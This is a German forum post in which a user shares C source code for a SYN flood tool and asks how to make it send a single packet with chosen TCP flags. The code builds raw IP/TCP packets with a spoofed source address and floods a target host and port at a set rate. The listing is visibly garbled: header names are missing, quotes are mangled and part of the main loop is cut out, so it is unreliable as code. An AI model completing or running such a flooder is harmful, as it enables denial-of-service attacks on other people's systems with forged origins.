Abend
Ich habe hier den Code eines SynFlooders, aber ich kann noch sehr schlecht C, jetzt meine Frage: Wie kann ich den so abändern, das er nicht mehr floodet sondern immer nur ein Paket versendet! Läuft unter Linux! Danach fertig ist, wer natürlich einen Code hat mit dem ich die verschiedenen TCP Flags setzen kann, bin ich natürlich auch zufrieden (Ist eingentlich das Ziel)!
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
struct my_packet {
struct iphdr ip;
struct tcphdr tcp;
};
/* extern functions */
extern unsigned long inet_addr(char *);
/* Functions in the file */
void print_usage(FILE *file);
inline unsigned short ip_cksum(unsigned short *buff, int len);
inline unsigned short tcp_check(struct tcphdr *th, unsigned short len, unsigned long saddr, unsigned long daddr);
#define DEFAULT_RATE 20
#define DEFAULT_COUNT 100
unsigned long syn_daddr; /* network order of address to flood */
unsigned long syn_saddr; /* source address */
unsigned short syn_port; /* port to flood */
int rate = DEFAULT_RATE;
int count = DEFAULT_COUNT;
int sockfd;
int main(int argc, char **argv) {
struct my_packet out;
int local_port = 1024;
int local_seq = 0;
struct sockaddr_in to;
int len_to = sizeof(to);
int c, sent;
while(( c = getopt(argc, argv, „hn:r:“)) != -1) {
switch© {
case ‚h‘:
print_usage(stdout);
exit(0);
break;
case ‚n‘:
count = atoi(optarg);
break;
case ‚r‘:
rate = atoi(optarg);
break;
default:
break;
}
}
if (argc > 3) {
syn_daddr = inet_addr(argv[argc - 3]);
syn_port = htons(atoi(argv[argc - 2]));
syn_saddr = inet_addr(argv[argc - 1]);
} else {
fprintf(stderr, „You must provide an ip address and a port to flood with a source address\n“);
print_usage(stderr);
exit(-1);
}
if((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) 1)
count–;
if (local_port == 65535)
local_port = 1024;
sent++;
if (sent == rate) {
sent = 0;
sleep(1);
}
}
return 0;
}
/* dump the help on stderr or stdout */
void print_usage(FILE *file) {
fprintf(file, „Usage:\n“);
fprintf(file, „./syn-fsyn [opts] \n“);
fprintf(file, " -h print this help\n");
fprintf(file, " -n x Number of packets to send, 0 mean for ever default: %d\n", count);
fprintf(file, " -r x Rate to send packets per second default: %d\n", rate);
}
inline unsigned short ip_cksum(unsigned short *buff, int len) {
unsigned long sum = 0;
while(len > 1) {
sum += *buff++;
len -= 2;
}
if (len == 1)
sum += (*buff & 0xff);
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
sum = ~sum;
return (sum & 0xffff);
}
inline unsigned short tcp_check(struct tcphdr *th, unsigned short len, unsigned long saddr, unsigned long daddr) {
unsigned long sum = 0;
unsigned short *buff;
buff = (unsigned short *) &saddr;
sum += *buff++;
sum += *buff;
buff = (unsigned short *) &daddr;
sum += *buff++;
sum += *buff;
sum += IPPROTO_TCP * 256;
sum += htons(len) & 0xffff;
buff = (unsigned short *) th;
while(len > 1) {
sum += *buff++;
len -= 2;
}
if (len == 1)
sum += (*buff & 0xff);
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ( (~sum) & 0xffff);
}